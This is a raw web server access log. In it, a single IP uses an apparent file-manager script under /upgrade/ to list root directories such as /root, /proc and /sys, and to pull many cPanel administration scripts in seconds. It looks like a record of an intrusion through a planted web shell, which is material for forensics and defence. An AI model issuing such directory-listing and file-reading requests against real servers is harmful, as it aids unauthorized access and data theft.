45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Fhome HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fhome" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Flib HTTP/1.1" 200 8126 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Flib" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2F&option=file HTTP/1.1" 200 7757 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2F&option=folder HTTP/1.1" 200 7757 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fbackup HTTP/1.1" 200 5727 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fbackup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fbin HTTP/1.1" 200 95833 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fsbin HTTP/1.1" 200 37206 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fsbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Ftmp HTTP/1.1" 200 9993 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fadmin HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fadmin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fdev HTTP/1.1" 200 7090 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fdev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fmnt HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fmnt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:13 -0400] "GET /upgrade/index.php?location=%2F%2Fmedia HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fmedia" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Fscripts HTTP/1.1" 200 37381 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fscripts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Fusr HTTP/1.1" 200 6664 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fusr" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?file_location=%2F%2F%2Fprovision-status%3Fmac%3D9c%3A6b%3A00%3A2e%3A1f%3A53&location=%2F%2F&message=Post-installation+scripts HTTP/1.1" 200 7824 "http://163.245.207.76:443/upgrade/index.php?file_location=%2F%2F%2Fprovision-status%3Fmac%3D9c%3A6b%3A00%3A2e%3A1f%3A53&location=%2F%2F&message=Post-installation+scripts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Flib64 HTTP/1.1" 200 103783 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Flib64" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Froot HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Froot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Fsys HTTP/1.1" 200 6342 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fsys" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:14 -0400] "GET /upgrade/index.php?location=%2F%2Fproc HTTP/1.1" 200 27098 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fproc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/index.php?location=%2F%2Fvar HTTP/1.1" 200 7374 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fvar" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/index.php?file_location=%2F%2F%2Fimunify-release-latest.el9.rpm&location=%2F%2F HTTP/1.1" 200 14159 "http://163.245.207.76:443/upgrade/index.php?file_location=%2F%2F%2Fimunify-release-latest.el9.rpm&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/index.php?location=%2F%2Fboot HTTP/1.1" 200 8087 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fboot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/index.php?location=%2F%2Flost+found HTTP/1.1" 200 6462 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Flost+found" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/index.php?location=%2F%2Fopt HTTP/1.1" 200 6259 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fopt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpbackup_transport_file&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpbackup_transport_file&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_accounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39128 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_accounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildippool&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38029 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildippool&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_dnsadmin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154527 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_dnsadmin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fedit_cpanelsync_exclude_list&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fedit_cpanelsync_exclude_list&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_eximstats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_eximstats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_syslogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38676 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_syslogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpinodes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38108 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpinodes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixnamedviews&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixnamedviews&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallsqlite3&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38648 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallsqlite3&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_lmtp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37971 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_lmtp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp-running&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38769 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp-running&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleandns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleandns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhook&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhook&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnamed.ca&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38143 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnamed.ca&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchkpaths&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37856 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchkpaths&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanphpsessions.php&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38077 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanphpsessions.php&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_rh_ipv6_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38034 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_rh_ipv6_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fimport_exim_data&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41103 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fimport_exim_data&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpatch_mail_spamassassin_compiledregexps_body_0&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpatch_mail_spamassassin_compiledregexps_body_0&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprocess_pending_cpanel_php_pear_registration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39048 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprocess_pending_cpanel_php_pear_registration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38590 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pdns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154823 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_pdns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallpostgres&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40393 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstallpostgres&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flistcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flistcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fptycheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38130 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fptycheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsa-update_wrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsa-update_wrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44451 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgather_update_logs_setupcrontab&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37815 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgather_update_logs_setupcrontab&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flogo.dat&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flogo.dat&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_existing_mail_quotas_for_account&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_existing_mail_quotas_for_account&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgetremotecpmove&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 46687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgetremotecpmove&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
